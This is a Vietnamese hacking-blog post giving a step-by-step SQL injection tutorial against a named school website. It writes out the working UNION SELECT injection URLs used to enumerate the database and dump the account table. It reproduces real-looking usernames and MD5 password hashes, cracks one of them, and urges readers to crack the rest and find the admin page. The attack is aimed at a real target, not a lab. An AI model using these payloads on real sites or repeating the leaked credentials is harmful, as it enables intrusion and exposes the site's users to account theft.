SQL injection siêu căn bản ~ Blog Hacking Security | Blog Thủ Thuật | Blog UG SQL injection siêu căn bản

Wednesday, May 29, 2013

SQL injection siêu căn bản


<start tut>
victim: http://nhanducschool.com/
b1: kiểm tra xem victim có bị lỗi ko?
http://nhanducschool.com/category.ph...d=2&&cateId=13'
=> lỗi
b2: dùng order by để đếm số column
http://nhanducschool.com/category.ph...2&&cateId=NULL order by 7-- (không lỗi)
http://nhanducschool.com/category.ph...2&&cateId=NULL order by 8-- (lỗi)
=> số column là 7.... thay 13 = NULL để show ra nội dung trang trống
b3: dùng union để show ra column bị lỗi
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,2,3,4,5,6,7--
=> thấy có gì lạ ko? số 2 đó :)
b4: kiểm tra phiên bản php và database name
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,version(),3,4,5,6,7--
=> php phiên bản 5.1.37-community-log 
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,database(),3,4,5,6,7--
=> database name là caring_heart_school 
b5: show ra table name
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--
=> ,category,comment,image,news,page,sub_category
nhìn vào thì có thể đoán table nào chứa id và pass rồi ^^ (account)
b6: show ra các column trong table account
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=CHAR(97, 99, 99, 111, 117, 110, 116)--
=> acc_id,acc_username,acc_password,acc_email,acc_sta tus,acc_type,acc_phone 
b7: truy vẫn các column để tìm thông tin cần thiết :)
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,group_concat(acc_username),3,4,5,6,7 from account--
=> 1,123123,3bacon,admin,ange16_9006,angel16_9006,anh kiet67,anhtrung1990,baby,babyjoy,Bao nam,baongoc,baonhi-dn,baonhi2011,bảo nhi,Bảo Trân,beliti,bemamnon,bengia,berom,betyty,bexuka20 11,bich ha,bich trang,bichhanh,bimbim6709,Binny Nguyễn,boiking,bonghongnho,cambich,camthu,chan hung,chilly,clear27000,cong,cong 
http://nhanducschool.com/category.ph...2&&cateId=NULL UNION SELECT 1,group_concat(acc_password),3,4,5,6,7 from account--
=> e10adc3949ba59abbe56e057f20f883e,9c2d17a70d7a37fa5 9a6cb88d8950b27,8a70ea4066b62962a938b1cd14b144dd,7 ededa3884561c2deda30b6d759fad99,2345f353f323079889 6129e6e4117945,2345f353f3230798896129e6e4117945,ad 7532d5b3860a408fbe01f9455dca36,e10adc3949ba59abbe5 6e057f20f883e,4297f44b13955235245b2497399d7a93,0ec 0ad20df9c357bbf31a5d227046312,26e15f51ca0 
password đã bị mã hóa md5 => phải crack tại các trang crack onl. thử crack đoạn mã này "9c2d17a70d7a37fa59a6cb88d8950b27" tại http://www.md5decrypter.co.uk/ xem 
9c2d17a70d7a37fa59a6cb88d8950b27 = 161413 
=> enjoy ^^
việc còn lại của các bạn là crack tất cả, tìm link admin và ... nữa là xong ^^
<End tut>

Newer Post Older Post Home

0 comments:

Post a Comment